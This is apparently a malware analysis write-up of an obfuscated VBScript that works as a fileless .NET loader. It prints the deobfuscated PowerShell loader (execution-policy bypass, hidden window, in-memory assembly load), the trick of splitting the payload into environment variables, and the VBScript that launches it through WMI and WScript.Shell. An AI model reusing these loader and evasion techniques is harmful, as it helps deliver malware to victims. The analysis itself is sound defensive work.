Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Junk Code

The file started off with junk code of the below forms:

nielled = Join(Array(nielled, mescals(mescals("🔼ލ᧍⛩⒃఼ʋ♸፟ἠ└౓🔷˚๦","@",""),"🔼ލ᧍⛩⒃఼ʋ♸፟ἠ└౓🔷˚๦","@")), "")
nielled = Join(Array(nielled, mescals(mescals("🔼ލ᧍⛩⒃఼ʋ♸፟ἠ└౓🔷˚๦","@",""),"🔼ލ᧍⛩⒃఼ʋ♸፟ἠ└౓🔷˚๦","@")), "")
...
Function mescals(ByVal ardassine, ByVal gungiest, ByVal falernian)
End Function
...

These were removed via regex. This junk code bloated the file size.

Garbage Obfuscation of Payload

Garbage was mixed in with base64-encoded content and split into multiple strings. Later in the code, this garbage was removed to reveal clean base64-encoded content.

Function return_obfuscated_text()
obf_text = "H🔼ލ᧍⛩⒃఼..."
obf_text = obf_text & "፟ἠ└౓🔷..."
unrecommended = obf_text
End Function

# Garbage removal function
Function regex_replace(text, regex, replacement_str)
    Dim regex_obj
    Set regex_obj = New RegExp
    regex_obj.Global = True
    regex_obj.Pattern = regex
    regex_replace = regex_obj.Replace(text, replacement_str)
End Function

# After removing garbage
encoded_text = "H4sIAAAAAAAAC8S9f4BVR3..."

PowerShell Command

Inserting garbage characters into clean strings and then removing them was also used to obfuscate a Powershell command:

pwsh_cmd = "po🔼ލ᧍⛩⒃఼ʋ♸፟ἠ└౓...

After removing garbage, it reveals a Powershell-based loader.

powershell  -ExecutionPolicy Bypass
            -WindowStyle Hidden 
            -Command ""$s=" & numerant & ";$b=[Convert]::FromBase64String($s);
                      $ms=New-Object IO.MemoryStream(,$b);
                      $gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);
                      $rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);
                      [Reflection.Assembly]::Load($rs.ToArray())|Out-Null;
                      [Fiber.Program]::Main(
                          'kmvLRBT7qNQosU29rWjfGa+Wsw8fclLxpQe5nOZxzjRAjub4d2qGkKTIJ+o9FBqxGuJgGAbQoQNUwemC+xFYPuEaFiF+JuBWHKk/opJRld/D9zZ6ttk/8bVl3hCC2VrPomCyyGG6TsVlY0yJR9aMsQ==',
                          '',
                          'PwkNSdw7Fn+pMjiJS4DoWhms3PkxQVeYG7UnHsgeeS6rhp1ERf4sAx4jjC2kkoWR',
                          'UVUaMuHBJ1NDdtE1Bl0yf8ZNcleBclSFgNzjuMQEUhE=',
                          'AJEHqNUKZtpUpVsMizkzWma3Erd8/buyx+qmQ/5xb08=',
                          '',
                          'gpTIR0nmP3663PcwI2psQo8dYhGvi6Gn6jQPY/0bpYo=',
                          '',
                          '',
                          'QgltHB8v+IL90ZRDN8K7VmiMTQJ48wLQcHesfH92G5q7QMdUN7E3PGXTHNJyh83F',
                          'zvNbSZZd8dfJRzm/Y8xuroEyIQhVeGcu52DlmYQ9wNo=',
                          'SmO9YIq2bsJeay0v2Wgh8DOhvkuN/YTFnC/3FmE5pPw=',
                          'm5lQ5y1uynQXyNab8wTx+4rShhxiJY8dgbMn+emN3jQ=',
                          '',
                          'tO0OrQ9r1esbO7HuCBPc8cG435DXye6mXPQix8zcR5g=',
                          'MEjddvLqSUYRhsr6fY7jWnCH7QGvaMG4n6O7yLE/BKU=',
                          '',
                          '',
                          ''
                      )"""

Spitting payload into environment variables

In the above execution, the variable numerant contains a string like: $env:P1+$env:P2+...+$env:Pn.

Set user_env_vars = shell.Environment("USER")
...
step_size = 30000 
env_var_num = 0
numerant = ""
For i = 1 To Len(encoded_text) Step step_size
    env_var_num = env_var_num + 1
    env_var_name = "P" & env_var_num
    user_env_vars(env_var_name) = Mid(encoded_text, i, step_size)
    numerant = numerant & "$env:" & env_var_name & "+"
Next
numerant = Left(numerant, Len(numerant) - 1)

The encoded_text content is ~351 KB. While I’ve not been able to find official documentation about the maximum command-line length of Win32_Process.Create (see usage below), both CreateProcessA and CreateProcessW document a max of 32,767 characters. By splitting the payload and storing each chunk into environment variables, the length of the command-line decreases. Powershell enumerates the environment variables and concatenates their values to form the entire payload at run-time.

Execute Powershell Command

The above Powershell command is then executed through WMI AND ActiveX (WScript.Shell.Run()). Weirdly enough, there’s no check whether WMI fails before executing the same payload through ActiveX as well. While the payload may manage duplicate executions through mutex, launching through ActiveX increases exposure to process tree analysis. Launching through WMI is relatively more stealthy because processes then seem to be launched from WmiPrvSE.exe instead of the VBS script (wscript.exe or cscript.exe). But it still goes through the generally hooked CreateProcess WinAPI function.

Set shell = CreateObject("WScript.Shell")
...
Set winmgmt_obj = GetObject("winmgmts:\\.\root\cimv2")
Set obj_config = winmgmt_obj.Get("Win32_ProcessStartup").SpawnInstance_
obj_config.ShowWindow = 0 
Set process_obj = winmgmt_obj.Get("Win32_Process")
referenced = process_obj.Create(pwsh_cmd, Null, obj_config, pid)
shell.Run pwsh_cmd, 0, True

Final .NET Payload

Based on the Powershell command-line, the base64 string decodes to a Gzip which contains an unsigned .NET binary: https://www.virustotal.com/gui/file/21ae5a490837fd02a780bbe3c6e80758a91034f9cd231900e2ea9030dfdc2a93/detection. This VBS file functioned as a fileless .NET loader.